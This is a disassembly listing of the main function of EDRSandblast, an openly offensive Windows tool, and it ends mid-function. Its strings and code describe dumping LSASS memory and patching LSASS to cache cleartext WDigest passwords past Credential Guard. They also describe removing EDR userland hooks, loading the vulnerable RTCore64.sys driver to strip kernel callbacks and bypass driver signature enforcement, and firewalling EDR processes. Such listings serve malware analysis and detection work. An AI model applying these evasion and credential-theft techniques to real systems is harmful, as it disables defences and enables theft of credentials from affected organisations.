Function at 0x140001260
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Create thread
Delete file
Disable driver code integrity
Get common file path
Get file attributes
Get system information on windows
Set registry value

Disassembly:
push rbp
push rsi
push r12
push r15
lea rbp, [rsp - 0x5ba8]
mov eax, 0x5ca8
call fcn.1400294a0
sub rsp, rax
mov rax, qword [0x140051018]
xor rax, rsp
mov qword [rbp + 0x5b90], rax
mov r15, rdx
mov qword [rsp + 0x78], rdx
mov esi, ecx
lea rax, str.Usage:_EDRSandblast.exe___h____help____v____verbose___audit__dump__cmd__credguard__firewall__load_unsigned_driver___n___usermode_____unhook_method__N______direct_syscalls_____add_dll__dll_name_or_path____n___kernelmode_____dont_unload_driver_____no_restore___n_______nt_offsets__NtoskrnlOffsets.csv______wdigest_offsets__WdigestOffsets.csv______ci_offsets__CiOffsets.csv______internet__n_______vuln_driver__RTCore64.sys______vuln_service__SERVICE_NAME____n_______unsigned_driver__evil.sys______unsigned_service__SERVICE_NAME____n_______no_kdp__n__o____dump_output__DUMP_FILE___n
lea rcx, [rbp + 0x2870]
mov edx, 9
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400012b0
mov rax, qword [rax]
lea rdx, str._n_h____help_____________Show_this_help_message_and_exit._n_v____verbose__________Enable_a_more_verbose_output._n_nActions_mode:_n_n_taudit_____________________Display_the_user_land_hooks_and___or_Kernel_callbacks_without_taking_actions._n_tdump______________________Dump_the_process_specified_by___process_name__LSASS_process_by_default___as__process_name__in_the_current_directory_or_at_the_n_t__________________________specified_file_using__o____output__DUMP_FILE_._n_tcmd_______________________Open_a_cmd.exe_prompt._n_tcredguard_________________Patch_the_LSASS_process_memory_to_enable_Wdigest_cleartext_passwords_caching_even_if_n_t__________________________Credential_Guard_is_enabled_on_the_host._No_kernel_land_actions_required._n_tfirewall__________________Add_Windows_firewall_rules_to_block_network_access_for_the_EDR_processes___services._n_tload_unsigned_driver______Load_the_specified_unsigned_driver__bypassing_Driver_Signature_Enforcement__DSE_._n_t__________________________WARNING:_currently_an_experimental_feature__only_works_if_KDP_is_not_present_and_enabled._n_n__usermode______________Perform_user_land_operations__DLL_unhooking_._n__kernelmode____________Perform_kernel_land_operations__Kernel_callbacks_removal_and_ETW_TI_disabling_._n_n_nHooking_related_options:_n_n__add_dll__dll_name_or_path_____________Loads_arbitrary_libraries_into_the_process_address_space__before_starting_n________________________________________anything.This_can_be_useful_to_audit_userland_hooking_for_DLL_that_are_not_n________________________________________loaded_by_default_by_this_program._Use_this_option_multiple_times_to_load_n________________________________________multiple_DLLs_all_at_once._n________________________________________Example_of_interesting_DLLs_to_look_at:_user32.dll__ole32.dll__crypt32.dll___n________________________________________samcli.dll__winhttp.dll__urlmon.dll__secur32.dll__shell32.dll..._n_n__unhook_method__N______________________Choose_the_userland_un_hooking_technique__from_the_following:__n_n_t0_______________________________Do_not_perform_any_unhooking__used_for_direct_syscalls_operations_._n_t1__Default______________________Uses_the__probably_monitored__NtProtectVirtualMemory_function_in_ntdll_to_remove_all_n_t________________________________present_userland_hooks._n_t2_______________________________Constructs_a_unhooked__i.e._unmonitored__version_of_NtProtectVirtualMemory__by_n_t________________________________allocating_an_executable_trampoline_jumping_over_the_hook__and_remove_all_present_n_t________________________________userland_hooks._n_t3_______________________________Searches_for_an_existing_trampoline_allocated_by_the_EDR_itself__to_get_an_unhooked_n_t_________________________________i.e._unmonitored__version_of_NtProtectVirtualMemory__and_remove_all_present_userland_n_t________________________________hooks._n_t4_______________________________Loads_an_additional_version_of_ntdll_library_into_memory__and_use_the__hopefully_n_t________________________________unmonitored__version_of_NtProtectVirtualMemory_present_in_this_library_to_remove_all_n_t________________________________present_userland_hooks._n_t5_______________________________Allocates_a_shellcode_that_uses_a_direct_syscall_to_call_NtProtectVirtualMemory__n_t________________________________and_uses_it_to_remove_all_detected_hooks_n_n__direct_syscalls_______Use_direct_syscalls_to_dump_the_selected_process_memory_without_unhooking_unserland_hooks._n_n_nBYOVD_options:_n_n__dont_unload_driver____________________Keep_the_vulnerable_driver_installed_on_the_host_n________________________________________Default_to_automatically_unsinstall_the_driver._n__no_restore____________________________Do_not_restore_the_EDR_drivers_Kernel_Callbacks_that_were_removed._n________________________________________Default_to_restore_the_callbacks._n__vuln_driver__RTCore64.sys__t_tPath_to_the_vulnerable_driver_file._n________________________________________Default_to_RTCore64.sys_in_the_current_directory._n__vuln_service__SERVICE_NAME____________Name_of
mov qword [rsp + 0x5cd0], rbx
mov r8d, 0x2e8c
mov qword [rcx], rax
lea rcx, [rbp + 0x2d00]
mov qword [rsp + 0x5ce0], rdi
mov qword [rsp + 0x5ce8], r13
mov qword [rsp + 0x5ca0], r14
call fcn.14000f7d0
xor edx, edx
lea rcx, [rbp + 0x4c0]
mov r8d, 0x208
call fcn.14000e900
lea rdx, [rbp + 0x4c0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r12d, 1
cmp esi, 2
jl 0x140003606
mov r14d, 6
lea rcx, [rbp + 0x2b0]
xor edx, edx
mov dword [rsp + 0x54], r14d
mov r8d, 0x208
call fcn.14000e900
xor edx, edx
lea rcx, [rbp + 0x8e0]
mov r8d, 0x208
call fcn.14000e900
movups xmm0, xmmword [str.RTCore64.sys]
movzx eax, word [0x1400362a0]
lea rcx, [rbp + 0x6d0]
mov word [rbp + 0x98], ax
xor edx, edx
movzx eax, word [0x1400362b8]
mov r8d, 0x208
movups xmmword [rbp + 0x80], xmm0
mov word [rbp + 0x78], ax
movsd xmm0, qword [0x140036298]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.evil.sys]
mov dword [rsp + 0x68], r12d
movups xmmword [rbp + 0x68], xmm0
call fcn.14000e900
xor edx, edx
lea rcx, [rbp + 0xaf0]
mov r8d, 0x208
call fcn.14000e900
xor edx, edx
lea rcx, [rbp + 0x1100]
mov r8d, 0x208
call fcn.14000e900
movups xmm0, xmmword [str.lsass.exe]
mov eax, dword [0x1400362d0]
lea rcx, [rbp + 0xa0]
xor edx, edx
mov dword [rbp + 0x60], eax
mov r8d, 0x208
movups xmmword [rbp + 0x50], xmm0
call fcn.14000e900
xor ecx, ecx
mov dword [rsp + 0x6c], r12d
mov dword [rsp + 0x58], ecx
lea r13, [r12 - 2]
mov dword [rsp + 0x70], ecx
mov edi, r12d
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x64], ecx
mov dword [rsp + 0x50], ecx
mov dword [rbp - 0x40], ecx
mov qword [rbp - 0x38], rcx
mov dword [rsp + 0x5c], ecx
mov dword [rsp + 0x74], ecx
mov dword [rbp - 0x78], ecx
mov dword [rbp - 0x80], r12d
mov dword [rbp - 0x2c], r12d
movsxd rax, edi
lea rdx, str.dump
mov rcx, qword [r15 + rax*8]
lea rbx, [r15 + rax*8]
call fcn.140011ccc
test eax, eax
jne 0x1400014ba
xor r14d, r14d
mov dword [rsp + 0x54], r14d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, [0x1400362e8]
call fcn.140011ccc
test eax, eax
jne 0x1400014da
mov r14d, r12d
mov dword [rsp + 0x54], r12d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.credguard
call fcn.140011ccc
test eax, eax
jne 0x1400014fd
mov r14d, 2
mov dword [rsp + 0x54], r14d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.audit
call fcn.140011ccc
test eax, eax
jne 0x140001520
mov r14d, 3
mov dword [rsp + 0x54], r14d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.firewall
call fcn.140011ccc
test eax, eax
jne 0x140001543
mov r14d, 4
mov dword [rsp + 0x54], r14d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.load_unsigned_driver
call fcn.140011ccc
test eax, eax
jne 0x140001566
mov r14d, 5
mov dword [rsp + 0x54], r14d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, [0x14003635c]
call fcn.140011ccc
test eax, eax
je 0x1400035ea
mov rcx, qword [rbx]
lea rdx, str.__help
call fcn.140011ccc
test eax, eax
je 0x1400035ea
mov rcx, qword [rbx]
lea rdx, [0x140036378]
call fcn.140011ccc
test eax, eax
je 0x140001a2e
mov rcx, qword [rbx]
lea rdx, str.__verbose
call fcn.140011ccc
test eax, eax
je 0x140001a2e
mov rcx, qword [rbx]
lea rdx, str.__usermode
call fcn.140011ccc
test eax, eax
jne 0x1400015df
mov dword [rsp + 0x70], r12d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__kernelmode
call fcn.140011ccc
test eax, eax
jne 0x1400015fc
mov dword [rsp + 0x50], r12d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__dont_unload_driver
call fcn.140011ccc
test eax, eax
jne 0x140001618
mov dword [rsp + 0x6c], eax
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__no_restore
call fcn.140011ccc
test eax, eax
jne 0x140001633
mov dword [rbp - 0x80], eax
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__vuln_driver
call fcn.140011ccc
test eax, eax
je 0x1400019f4
mov rcx, qword [rbx]
lea rdx, str.__driver
call fcn.140011ccc
test eax, eax
je 0x1400019f4
mov rcx, qword [rbx]
lea rdx, str.__unsigned_driver
call fcn.140011ccc
test eax, eax
jne 0x1400016b1
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov r9, r13
mov r8, qword [r15 + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], 0
jne 0x140001690
mov edx, 0x104
lea rcx, [rbp + 0x8e0]
call fcn.1400185e4
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__vuln_service
call fcn.140011ccc
test eax, eax
je 0x1400019be
mov rcx, qword [rbx]
lea rdx, str.__service
call fcn.140011ccc
test eax, eax
je 0x1400019be
mov rcx, qword [rbx]
lea rdx, str.__unsigned_service
call fcn.140011ccc
test eax, eax
jne 0x14000173d
inc edi
cmp edi, esi
jg 0x140003606
mov rcx, qword [0x140055268]
movsxd rax, edi
mov rbx, qword [r15 + rax*8]
test rcx, rcx
je 0x140001714
call fcn.1400183e4
mov rcx, rbx
call fcn.140011e48
mov qword [0x140055268], rax
test rax, rax
jne 0x140001a33
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
call fcn.1400184e0
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__no_kdp
call fcn.140011ccc
test eax, eax
jne 0x140001759
mov dword [rsp + 0x68], eax
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__nt_offsets
call fcn.140011ccc
test eax, eax
jne 0x1400017a1
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov r9, r13
mov r8, qword [r15 + rax*8]
inc r9
cmp word [r8 + r9*2], 0
jne 0x140001780
mov edx, 0x104
lea rcx, [rbp + 0x6d0]
call fcn.1400185e4
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__wdigest_offsets
call fcn.140011ccc
test eax, eax
jne 0x1400017f1
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov r9, r13
mov r8, qword [r15 + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], 0
jne 0x1400017d0
mov edx, 0x104
lea rcx, [rbp + 0xaf0]
call fcn.1400185e4
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__ci_offsets
call fcn.140011ccc
test eax, eax
jne 0x140001841
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov r9, r13
mov r8, qword [r15 + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], 0
jne 0x140001820
mov edx, 0x104
lea rcx, [rbp + 0x1100]
call fcn.1400185e4
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, [0x14003655c]
call fcn.140011ccc
test eax, eax
je 0x140001986
mov rcx, qword [rbx]
lea rdx, str.__dump_output
call fcn.140011ccc
test eax, eax
je 0x140001986
mov rcx, qword [rbx]
lea rdx, str.__process_name
call fcn.140011ccc
test eax, eax
jne 0x1400018be
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov r9, r13
mov r8, qword [r15 + rax*8]
nop word [rax + rax]
inc r9
cmp word [r8 + r9*2], 0
jne 0x1400018a0
mov edx, 0xa
lea rcx, [rbp + 0x50]
call fcn.1400185e4
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__unhook_method
call fcn.140011ccc
test eax, eax
jne 0x1400018ef
inc edi
cmp edi, esi
jg 0x140003606
movsxd rcx, edi
mov rcx, qword [r15 + rcx*8]
call fcn.140012f18
mov dword [rbp - 0x2c], eax
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__direct_syscalls
call fcn.140011ccc
test eax, eax
jne 0x14000190c
mov dword [rsp + 0x64], r12d
jmp 0x140001a33
mov rcx, qword [rbx]
lea rdx, str.__add_dll
call fcn.140011ccc
test eax, eax
jne 0x140001952
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov rcx, qword [r15 + rax*8]
lea rbx, [r15 + rax*8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp rax, r13
jne 0x140001a33
mov rdx, qword [rbx]
lea rcx, str.Library__s_could_not_have_been_loaded__exiting..._n
jmp 0x140003614
mov rcx, qword [rbx]
lea rdx, [0x140036678]
call fcn.140011ccc
test eax, eax
je 0x14000197c
mov rcx, qword [rbx]
lea rdx, str.__internet
call fcn.140011ccc
test eax, eax
jne 0x140003606
mov dword [rsp + 0x60], r12d
jmp 0x140001a33
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov r9, r13
mov r8, qword [r15 + rax*8]
nop word [rax + rax]
inc r9
cmp word [r8 + r9*2], 0
jne 0x1400019a0
mov edx, 0x104
lea rcx, [rbp + 0xa0]
call fcn.1400185e4
jmp 0x140001a33
inc edi
cmp edi, esi
jg 0x140003606
mov rcx, qword [0x140055260]
movsxd rax, edi
mov rbx, qword [r15 + rax*8]
test rcx, rcx
je 0x1400019e0
call fcn.1400183e4
mov rcx, rbx
call fcn.140011e48
mov qword [0x140055260], rax
jmp 0x140001723
inc edi
cmp edi, esi
jg 0x140003606
movsxd rax, edi
mov r9, r13
mov r8, qword [r15 + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], 0
jne 0x140001a10
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.1400185e4
jmp 0x140001a33
mov dword [rsp + 0x58], r12d
inc edi
cmp edi, esi
jl 0x140001492
call fcn.1400010d0
test eax, eax
je 0x140001a53
mov dword [rsp + 0x6c], 0
jmp 0x140001c26
lea rax, [rbp + 0x1310]
mov edx, 6
lea rcx, str._______________________________________________________________________r_n__________________________________________________________r_n________________________________________________________r_n_____________________________________________________r_n_______________________________________________r_n____________________________________._______________n
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, r12
jne 0x140001a70
movups xmm0, xmmword [rcx]
mov r8d, 0x1d2
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
lea rcx, [rbp + 0xd2e]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [str.D3FC0N_30_Edition]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x140032e90]
movups xmm1, xmmword [0x140032e80]
mov dword [rbp - 0x50], eax
mov eax, dword [0x140032ec0]
movups xmmword [rbp - 0x70], xmm0
mov dword [rbp + 0xd28], eax
movups xmm0, xmmword [str.Thomas_DIOT____Qazeer_]
movzx eax, word [0x140032ec4]
movups xmmword [rbp - 0x60], xmm1
mov word [rbp + 0xd2c], ax
movups xmm1, xmmword [0x140032ea8]
movaps xmmword [rbp + 0xd00], xmm0
movsd xmm0, qword [0x140032eb8]
movsd qword [rbp + 0xd20], xmm0
movaps xmmword [rbp + 0xd10], xmm1
call fcn.14000e900
movups xmm0, xmmword [str.Maxime_MEIGNAN___th3m4ks_]
mov eax, dword [0x140032ef8]
xor edx, edx
movups xmm1, xmmword [0x140032ed8]
lea rcx, [rbp + 0xf34]
mov r8d, 0x1cc
movaps xmmword [rbp + 0xf00], xmm0
movups xmm0, xmmword [0x140032ee8]
mov dword [rbp + 0xf30], eax
movaps xmmword [rbp + 0xf10], xmm1
movaps xmmword [rbp + 0xf20], xmm0
call fcn.14000e900
xor ecx, ecx
call fcn.140018370
mov rcx, rax
call fcn.140011a30
call fcn.140011a04
mov ebx, eax
and ebx, 0x80000001
jge 0x140001bd6
dec ebx
or ebx, 0xfffffffe
inc ebx
lea rcx, [rbp + 0x1310]
call fcn.1400184e0
lea ecx, [rbx + 1]
and ecx, 0x80000001
jge 0x140001bf4
dec ecx
or ecx, 0xfffffffe
inc ecx
movsxd rax, ecx
lea r9, [rbp + 0xd00]
shl rax, 9
lea r8, [rbp + 0xd00]
add r9, rax
lea rdx, [rbp - 0x70]
movsxd rax, ebx
lea rcx, str.___s___s___s_n_n
shl rax, 9
add r8, rax
call fcn.140001010
cmp r14d, 6
jne 0x140001c3d
lea rcx, str.____You_did_not_provide_an_action_to_perform:_audit__dump__credguard_or_cmd
call fcn.1400184e0
jmp 0x140003619
mov esi, dword [rsp + 0x50]
cmp r14d, r12d
jne 0x140001c5b
test esi, esi
jne 0x140001c5b
lea rcx, str.cmd_mode_needs_kernel_land_unhooking_to_work__please_enable___kernelmode
call fcn.1400184e0
jmp 0x140003619
mov ebx, dword [rsp + 0x70]
test ebx, ebx
jne 0x140001c84
test esi, esi
jne 0x140001c78
lea rcx, str.____You_did_not_provide_at_least_one_option_between___usermode_and___kernelmode._Enabling___usermode_by_default..._n
call fcn.1400184e0
mov ebx, r12d
jmp 0x140001c84
lea rcx, str.____If_kernel_mode_bypass_is_enabled__it_is_recommended_to_enable_usermode_bypass_as_well__e.g._to_unhook_the_NtLoadDriver_API_call__n
call fcn.1400184e0
cmp r14d, 2
jne 0x140001fc2
test esi, esi
jne 0x140001c9e
lea rcx, str.____Credential_Guard_bypass_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
call fcn.1400184e0
mov r15d, r12d
mov r14d, r12d
test ebx, ebx
je 0x140001d3e
lea rcx, str.__USER_MODE___n
call fcn.1400184e0
lea rcx, str.___Detecting_userland_hooks_in_all_loaded_DLLs...
call fcn.1400184e0
call fcn.140006300
lea rcx, [0x140036cd8]
mov rbx, rax
call fcn.1400184e0
cmp dword [rsp + 0x54], 3
je 0x140001d32
mov edi, dword [rbp - 0x2c]
test edi, edi
je 0x140001d32
cmp qword [rbx], 0
je 0x140001d32
lea rcx, str.____Hooks__tRemoving_detected_userland_hooks...
call fcn.1400184e0
cmp qword [rbx], 0
je 0x140001d32
nop
mov rdx, qword [rbx + 0x10]
lea rcx, str.____Hooks__tUnhooking__s_using_method__ld..._n
mov r8d, edi
call fcn.140001070
mov edx, edi
mov rcx, rbx
call fcn.140005b40
xor ecx, ecx
test eax, eax
cmovne ecx, r15d
add rbx, 0x20
mov r15d, ecx
cmp qword [rbx], 0
jne 0x140001d00
lea rcx, [0x140036cd8]
call fcn.1400184e0
test esi, esi
je 0x14000255c
lea rcx, str.__KERNEL_MODE___n
call fcn.1400184e0
lea rcx, [rbp + 0x2b0]
mov rax, r13
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001d60
test rax, rax
jne 0x140001d97
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002549
test al, 0x10
jne 0x140002549
lea rcx, [rbp + 0x6d0]
mov rax, r13
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001dc0
test rax, rax
jne 0x140001e17
movups xmm0, xmmword [str.NtoskrnlOffsets.csv]
lea rdx, [rbp + 0x4c0]
movups xmm1, xmmword [0x140036e30]
lea rcx, [rbp + 0x6d0]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140036e40]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x6d0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, str.___Setting_up_prerequisites_for_the_kernel_read_write_primitives...
call fcn.1400184e0
lea rcx, [rbp + 0x6d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001e99
test al, 0x10
jne 0x140001e99
lea rcx, str.___Loading_kernel_related_offsets_from_the_CSV_file
call fcn.1400184e0
lea rcx, [rbp + 0x6d0]
call fcn.140007480
cmp qword [0x140053240], 0
je 0x140001e8d
cmp qword [0x140053248], 0
je 0x140001e8d
cmp qword [0x140053250], 0
je 0x140001e8d
cmp qword [0x140053278], 0
je 0x140001e8d
cmp qword [0x140053280], 0
je 0x140001e8d
cmp qword [0x140053288], 0
jne 0x140001e99
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_ntoskrnl_in_use.
call fcn.1400184e0
cmp dword [rsp + 0x60], 0
lea rdi, [0x140053240]
je 0x140002063
cmp qword [0x140053240], 0
je 0x140001eeb
cmp qword [0x140053248], 0
je 0x140001eeb
cmp qword [0x140053250], 0
je 0x140001eeb
cmp qword [0x140053278], 0
je 0x140001eeb
cmp qword [0x140053280], 0
je 0x140001eeb
cmp qword [0x140053288], 0
jne 0x140002063
lea rcx, str.___Downloading_kernel_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.1400184e0
call fcn.140007650
cmp qword [0x140053240], 0
je 0x140002057
cmp qword [0x140053248], 0
je 0x140002057
cmp qword [0x140053250], 0
je 0x140002057
cmp qword [0x140053278], 0
je 0x140002057
cmp qword [0x140053280], 0
je 0x140002057
cmp qword [0x140053288], 0
je 0x140002057
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.1400184e0
lea rcx, [rbp + 0x6d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002063
test al, 0x10
jne 0x140002063
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.1400184e0
call fcn.140007a40
lea r8, [0x14003ecc4]
mov qword [rbp - 0x78], 0
lea rdx, [rbp + 0x6d0]
mov rbx, rax
lea rcx, [rbp - 0x78]
call fcn.140019108
mov rcx, qword [rbp - 0x78]
test rcx, rcx
jne 0x140001ffe
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x14000205e
test r14d, r14d
jne 0x140001fdb
test esi, esi
jne 0x140001c9e
lea rcx, str.____LSASS_dump_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
jmp 0x140001c99
cmp r14d, 5
jne 0x140001c9e
test esi, esi
jne 0x140001c9e
lea rcx, str.load_unsigned_driver_mode_needs_kernel_land_DSE_disabling_operation_to_work__please_enable___kernelmode
call fcn.1400184e0
jmp 0x140003619
mov r8, rbx
lea rdx, [0x14003627c]
call fcn.140005740
mov rbx, rdi
lea rsi, [0x140053298]
nop word [rax + rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rbp - 0x78]
call fcn.140005740
add rbx, 8
cmp rbx, rsi
jl 0x140002020
mov rdx, qword [rbp - 0x78]
lea rcx, [0x140037548]
call fcn.1400194a0
mov rcx, qword [rbp - 0x78]
call fcn.140019284
jmp 0x140002063
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.1400184e0
cmp qword [0x140053240], 0
je 0x140002538
cmp qword [0x140053248], 0
je 0x140002538
cmp qword [0x140053250], 0
je 0x140002538
cmp qword [0x140053278], 0
je 0x140002538
cmp qword [0x140053280], 0
je 0x140002538
cmp qword [0x140053288], 0
je 0x140002538
mov r14d, dword [rsp + 0x58]
test r14d, r14d
je 0x14000210b
lea rcx, str.___Ntoskrnl_offsets:
call fcn.140001010
lea rbx, [0x140053290]
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rdi]
lea rcx, str.__llx_
call fcn.140001010
add rdi, 8
cmp rdi, rbx
jl 0x1400020e0
mov rdx, qword [0x140053290]
lea rcx, str._llx_n
call fcn.140001010
lea rdx, [rbp - 0x38]
mov qword [rbp - 0x38], 0
lea rcx, [rbp + 0x2b0]
call fcn.140003a40
test eax, eax
je 0x140002169
lea rcx, str.___Vulnerable_driver_is_already_running__n
call fcn.1400184e0
mov rcx, qword [0x140055260]
test rcx, rcx
je 0x140002144
call fcn.1400183e4
mov rcx, qword [rbp - 0x38]
call fcn.140011e48
mov qword [0x140055260], rax
test rax, rax
jne 0x1400022e2
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
jmp 0x1400022dd
lea rcx, str.___Installing_vulnerable_driver...
call fcn.1400184e0
mov rbx, qword [0x140055260]
test rbx, rbx
je 0x140002193
mov rax, r13
inc rax
cmp word [rbx + rax*2], 0
jne 0x140002184
test rax, rax
jne 0x1400021bc
mov edx, 2
lea ecx, [rdx + 7]
call fcn.1400119fc
mov rbx, rax
test rax, rax
je 0x1400021b5
mov edx, 8
mov rcx, rax
call fcn.14000ace0
mov qword [0x140055260], rbx
lea r8, [rbp + 0x2b0]
mov rdx, rbx
mov rcx, rbx
call fcn.14000a750
cmp eax, 5
jne 0x1400021e1
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.1400184e0
jmp 0x1400021e9
test eax, eax
je 0x1400022cb
lea rcx, str.____An_error_occurred_while_installing_the_vulnerable_driver
call fcn.1400184e0
lea rcx, str.___Uninstalling_the_service_and_attempting_the_install_again...
call fcn.1400184e0
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140051a60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140051a60], r13
call fcn.1400039b0
mov ecx, 0x7d0
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x1400022a0
mov rbx, qword [0x140055260]
test rbx, rbx
je 0x140002254
mov rax, r13
inc rax
cmp word [rbx + rax*2], 0
jne 0x140002245
test rax, rax
jne 0x14000227d
mov edx, 2
lea ecx, [rdx + 7]
call fcn.1400119fc
mov rbx, rax
test rax, rax
je 0x140002276
mov edx, 8
mov rcx, rax
call fcn.14000ace0
mov qword [0x140055260], rbx
lea r8, [rbp + 0x2b0]
mov rdx, rbx
mov rcx, rbx
call fcn.14000a750
cmp eax, 5
jne 0x1400022bc
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.1400184e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.____New_uninstall___install_attempt_failed__make_sure_that_there_is_no_trace_of_the_driver_left...
call fcn.1400184e0
jmp 0x140003619
test eax, eax
jne 0x1400022a0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140037548]
call fcn.1400184e0
lea rcx, str.___Checking_if_any_EDR_kernel_notify_rountines_are_set_for_image_loading__process_and_thread_creations...
call fcn.1400184e0
mov edx, 0x3808
mov rcx, r12
call fcn.1400119fc
mov qword [rbp - 0x38], rax
mov rsi, rax
test rax, rax
jne 0x140002318
lea rcx, str.____Couldnt_allocate_memory_to_enumerate_the_drivers_in_Kernel_callbacks
call fcn.1400184e0
jmp 0x140003619
mov r8d, r14d
mov rdx, rsi
xor ecx, ecx
call fcn.140008660
mov r8d, r14d
mov rdx, rsi
mov ecx, r12d
mov ebx, eax
call fcn.140008660
mov r8d, r14d
mov rdx, rsi
mov ecx, 2
or ebx, eax
